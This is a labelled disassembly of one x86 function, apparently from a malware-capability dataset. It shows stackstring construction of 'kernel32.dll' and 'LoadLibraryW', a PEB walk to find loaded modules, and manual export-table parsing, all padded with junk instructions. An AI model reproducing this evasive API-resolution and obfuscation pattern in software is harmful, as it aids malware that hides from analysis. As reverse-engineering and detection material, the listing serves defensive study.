Function at 0x5f318a
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x5f2e75
add eax, 0x18034
pop eax
push eax
push eax
add esp, 4
sub eax, 0x587c
sub eax, 0x144af
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x5f2ea6
mov dword [ebp - 0x2e0], 0
jmp 0x5f3162
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push edx
add esp, 4
add edi, 0x1e78
and edi, 0x8962
pop edi
push edi
push ecx
add esp, 4
and edi, 0x56f8
xor edi, 0x61a8
pop edi
push edx
xor edx, 0x17cce
xor edx, 0x81de
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x5f2f02
mov dword [ebp - 0x2e0], 0
jmp 0x5f3162
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ecx
and ecx, 0x15dcb
jmp 0x5f2f1e
sub ecx, 0xd2f7
pop ecx
push ebx
xor ebx, 0xa588
xor ebx, 0x12835
xor ebx, 0xfe9c
jmp 0x5f2f3f
pop ebx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edx
sub edx, 0x42fb
or edx, 0x17e5f
and edx, 0x16d0
add edx, 0xb105
pop edx
push ebx
push eax
add esp, 4
xor ebx, 0x1706e
or ebx, 0x178f1
and ebx, 0x131c
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
add ecx, 0x16ac1
and ecx, 0xad76
or ecx, 0x15dd5
pop ecx
push ecx
push ecx
add esp, 4
sub ecx, 0xd46c
pop ecx
push esi
push edi
add esp, 4
xor esi, 0x15a3a
or esi, 0x7b07
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5f304e
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x5f30b1
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x5f2f6d
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x5f2f6d
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x5f309b
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x5f30a5
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x5f30fa
push ebx
push esi
add esp, 4
add ebx, 0x12e3a
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x15ac4
or edx, 0x940e
pop edx
push edi
xor edi, 0x5c1e
xor edi, 0x12d3
and edi, 0x41a0
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x5f3162
push edi
sub edi, 0x9019
pop edi
push eax
push edi
add esp, 4
or eax, 0x10ded
call 0x5f311c
add byte [eax], bh
cmp ecx, dword [eax + ecx*2 + 0x42]
cmp cl, byte [edx + 0x34]
dec edi
add esp, 4
add eax, 0x18544
sub eax, 0xd6af
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x5f3158
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x5f2f0e
mov dword [ebp - 0x2e0], 0
push esi
push edi
add esp, 4
call 0x5f3177
add byte [esi], dh
dec ebx
cmp al, 0x41
inc esp
inc ebx
cmp eax, 0x83324d48
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [edi], dh
inc ebx
push eax
cmp eax, 0x46343d33
xor esi, dword [ebx + eax*4]
les eax, [ecx + eax*4]
out 0xd2, al
or al, 1
add byte [esi - 0x7d], bl
mov ebp, 0xfffffd20
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
push edi
add esp, 4
and edx, 0x12d7a
and edx, 0xfd54
or edx, 0x604d
jmp 0x5f3257
pop edx
push esi
add esi, 0x9063
or esi, 0xa58e
add esi, 0x13ed
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push eax
add esp, 4
call 0x5f3300
add byte [ebx + ecx*2 + 0x50], cl
cmp dl, byte [eax + 0x40]
inc edi
add esp, 4
sub ebx, 0xbd9d
call 0x5f3316
add byte [edx], dh
inc ecx
inc edi
dec esi
dec esp
add esp, 4
or ebx, 0x17116
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x5f3338
mov dword [ebp - 0x6ec], 0
jmp 0x5f35f4
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
sub ecx, 0x15a73
call 0x5f3360
add byte [edx], dh
inc esi
inc esi
xor ecx, dword [edi + 0x34]
inc esp
xor al, 0x43
add esp, 4
add ecx, 0x77b
add ecx, 0x13f8d
pop ecx
push eax
push edx
add esp, 4
xor eax, 0xcc56
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x5f3394
mov dword [ebp - 0x6ec], 0
jmp 0x5f35f4
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
sub edx, 0x1270b
or edx, 0x7e8a
pop edx
push ecx
call 0x5f33bc
add byte [esi], bh
inc edi
cmp ecx, dword [eax + 0x42]
inc ecx
xor al, 0x83
les eax, [ebx + ebp*8]
add al, 0x3e
cmp eax, 0xf1814935
inc esi
out dx, al
add byte [eax], al
add ecx, 0x3cfd
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push ecx
add esp, 4
sub esi, 0x149f6
sub esi, 0x524e
jmp 0x5f3419
pop esi
push ebx
xor ebx, 0xe621
call 0x5f342d
add byte [eax + 0x4f], dl
dec edx
inc eax
xor eax, 0x4c4833a
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edi
and edi, 0x67
and edi, 0x12605
xor edi, 0x14058
pop edi
push ecx
push esi
add esp, 4
and ecx, 0x12916
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x69c6
and ecx, 0x13de9
pop ecx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x5f34e0
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x5f3543
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x5f33ff
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x5f33ff
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x5f352d
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x5f3537
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x5f358c
push eax
call 0x5f355a
add byte [eax + 0x50], cl
dec ebp
dec eax
aaa
cmp al, 0x83
les eax, [eax + ebx*2]
push esi
and esi, 0x4cce
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x5ba
xor ebx, 0xcecf
add ebx, 0xfedf
pop ebx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x5f35f4
push edx
add edx, 0x142d1
sub edx, 0x22d0
sub edx, 0x1218b
add edx, 0x115df
pop edx
push ebx
push edi
add esp, 4
jmp 0x5f35b2
jmp 0x5f35b7
sub ebx, 0xb51a
pop ebx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x5f35ea
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x5f33a0
mov dword [ebp - 0x6ec], 0
push edi
push edi
add esp, 4
or edi, 0x717c
or edi, 0xa728
add edi, 0xde1b
sub edi, 0x12859
pop edi
push eax
and eax, 0x17af5
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0x14ed1
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x5f3670
push edx
push ecx
add esp, 4
add edx, 0x3642
add edx, 0x180b8
and edx, 0x46b2
xor edx, 0x1613
pop edx
push esi
xor esi, 0x1677
add esi, 0x1379f
add esi, 0x877
pop esi
mov dword [ebp - 0x738], 0
jmp 0x5f4197
push ecx
sub ecx, 0x10341
or ecx, 0x1663e
xor ecx, 0xc1dc
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0xa1cb
and ecx, 0x3523
pop ecx
push esi
push ecx
add esp, 4
jmp 0x5f36a1
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x5f36e1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x5f39d2
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x5f3709
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x5f39d2
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x5f373b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x5f39d2
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x5f3760
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x5f39d2
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x5f37ba
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x5f39c6
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x5f382a
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x5f38dc
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x5f38dc
push eax
call 0x5f3868
add byte [ebx], dh
dec esi
xor eax, 0x4d48363f
dec ecx
dec ecx
cmp eax, 0xeb04c483
add eax, 0x394f5038
cmp byte [ecx + 0xe5f8c8], al
add al, ch
or byte [eax], al
add byte [eax], al
add byte [edi + 0x33], cl
xor al, 0x42
cmp esi, dword [edi]
inc edi
add esp, 4
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x5f38ce
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x5f38d5
jmp 0x5f381b
jmp 0x5f38dc
push eax
xor eax, 0xb4d1
or eax, 0x10185
and eax, 0x16519
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x3c
call 0x5f390a
add byte [eax + 0x44], cl
aaa
dec eax
cmp byte [ecx + 0x44], al
cmp bh, byte [ebx]
add esp, 4
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x5f393b
mov dword [ebp - 0xc30], 0
jmp 0x5f39aa
push ecx
push edx
add esp, 4
sub ecx, 0xc2ac
sub ecx, 0x114d8
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0xa54f
pop ecx
push edi
call 0x5f3969
add byte [ecx + 0x38], al
dec edi
aaa
cmp ecx, dword [edx + 0x3f]
dec edx
add esp, 4
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x5f39a0
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x5f39aa
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x5f39c1
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x5f39d2
jmp 0x5f37ab
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x5f3aad
push ecx
jmp 0x5f39e6
pop ecx
push edi
and edi, 0xacc2
pop edi
push eax
sub eax, 0x149cf
and eax, 0x14521
xor eax, 0x3746
pop eax
push edi
xor edi, 0x23e2
and edi, 0x1168c
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push eax
add esp, 4
call 0x5f3a32
add byte [eax + 0x33], al
inc eax
dec edi
aaa
dec ecx
xor al, 0x3d
cmp eax, 0x4c4833b
jmp 0x5f3a3b
call 0x5f3a4b
add byte [ecx + 0x43], cl
cmp dword [edi + 0x50], ecx
cmp dword [ecx + 0x4f], eax
aaa
dec ebx
add esp, 4
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x5f3aad
push ebx
xor ebx, 0x4434
sub ebx, 0xb90c
jmp 0x5f3a82
call 0x5f3a92
add byte [ecx + 0x47], cl
inc ecx
xor al, 0x50
dec ebp
xor eax, 0x833b4b3f
les eax, [ebx + ebx*2]
push edx
sub edx, 0x36e0
pop edx
mov dword [ebp - 0x738], 0
jmp 0x5f4197
push esi
push eax
add esp, 4
xor esi, 0x17326
pop esi
push ecx
push esi
add esp, 4
xor ecx, 0x62fd
sub ecx, 0x1965
sub ecx, 0xea54
pop ecx
push esi
xor esi, 0x12982
and esi, 0x16c4a
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
push edi
add esp, 4
add ebx, 0x18ed
add ebx, 0x179c9
pop ebx
push edx
and edx, 0xdd12
pop edx
push eax
push ebx
add esp, 4
jmp 0x5f3b2b
and eax, 0x2186
add eax, 0x15e2f
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x5f3b50
mov dword [ebp - 0x2e0], 0
jmp 0x5f3df7
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push eax
add eax, 0x4079
call 0x5f3b76
add byte [esi], dh
cmp byte [eax + 0x3d], al
cmp byte [edi + 0x3f], cl
add esp, 4
pop eax
push edx
or edx, 0x11e8f
xor edx, 0xcb6a
add edx, 0xbdb6
or edx, 0x9bcb
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x5f3bac
mov dword [ebp - 0x2e0], 0
jmp 0x5f3df7
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
push esi
add esp, 4
add ebx, 0x106f9
jmp 0x5f3bc9
sub ebx, 0x506e
sub ebx, 0x180bc
pop ebx
push edi
sub edi, 0x17125
or edi, 0xadbd
sub edi, 0xafc
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
or esi, 0x80b4
call 0x5f3c2a
add byte [ebx], bh
cmp dword [0x4c354034], edi
dec esp
xor al, byte [ebx + 0x5eb04c4]
cmp ecx, dword [edi + 0x4a]
dec esp
notrack jmp 0x5f3c3d
pop esi
push ebx
and ebx, 0x1311a
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push esi
add esp, 4
call 0x5f3caf
add byte [ecx + 0x34], al
dec edx
inc ebx
inc eax
dec ebp
add esp, 4
sub esi, 0x16f34
call 0x5f3cc5
add byte [0x373c4a4b], dh
xor al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
out dx, al
daa
sbb al, byte [eax]
add byte [esi + 0xf], bl
mov bh, 0x45
int3
push edi
push edx
add esp, 4
or edi, 0xf4f2
or edi, 0x13852
add edi, 0x8a23
xor edi, 0x22e8
pop edi
push edx
push ecx
add esp, 4
or edx, 0xa25
pop edx
push edx
jmp 0x5f3e28
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
push edi
add esp, 4
add esi, 0x158d3
or esi, 0xa4db
pop esi
push eax
call 0x5f3e5a
add byte [ecx], bh
inc ecx
xor dh, byte [0x3e383f44]
inc edx
add esp, 4
and eax, 0x954c
sub eax, 0x57d0
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x5f3e9a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x5f418b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x5f3ec2
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x5f418b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x5f3ef4
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x5f418b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x5f3f19
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x5f418b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x5f3f73
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x5f417f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x5f3fe3
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x5f4095
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x5f4095
push ebx
push eax
add esp, 4
add ebx, 0x18b0
xor ebx, 0xe49f
pop ebx
push esi
or esi, 0x78ff
pop esi
push esi
push esi
add esp, 4
xor esi, 0x1654e
pop esi
push esi
push ecx
add esp, 4
sub esi, 0x2371
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x5f4087
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x5f408e
jmp 0x5f3fd4
jmp 0x5f4095
push ecx
jmp 0x5f409e
jmp 0x5f40a3
xor ecx, 0x2c52
pop ecx
push ecx
push ebx
add esp, 4
add ecx, 0x15163
call 0x5f40c3
add byte [ecx], bh
inc esp
dec esp
push eax
push eax
dec edx
add esp, 4
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x5f40f4
mov dword [ebp - 0xc40], 0
jmp 0x5f4163
push edi
push edi
add esp, 4
and edi, 0x15f8b
or edi, 0x17a60
pop edi
push eax
sub eax, 0x16157
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x41dd
sub ebx, 0x13d67
and ebx, 0xbb7c
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x5f4159
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x5f4163
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x5f417a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x5f418b
jmp 0x5f3f64
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push eax
add esp, 4
sub ebx, 0x162f1
pop ebx
push esi
call 0x5f41b0
add byte [esi], bh
cmp eax, 0x453c3949
add esp, 4
call 0x5f41c0
add byte [edi], bh
inc ebp
dec esi
cmp eax, 0x833d4f36
les eax, [ebx + ebp*8]
add ecx, dword [edi + 0x4d]
cmp bl, byte [esi - 0x75]
lea esi, [esp + edi*8]
invalid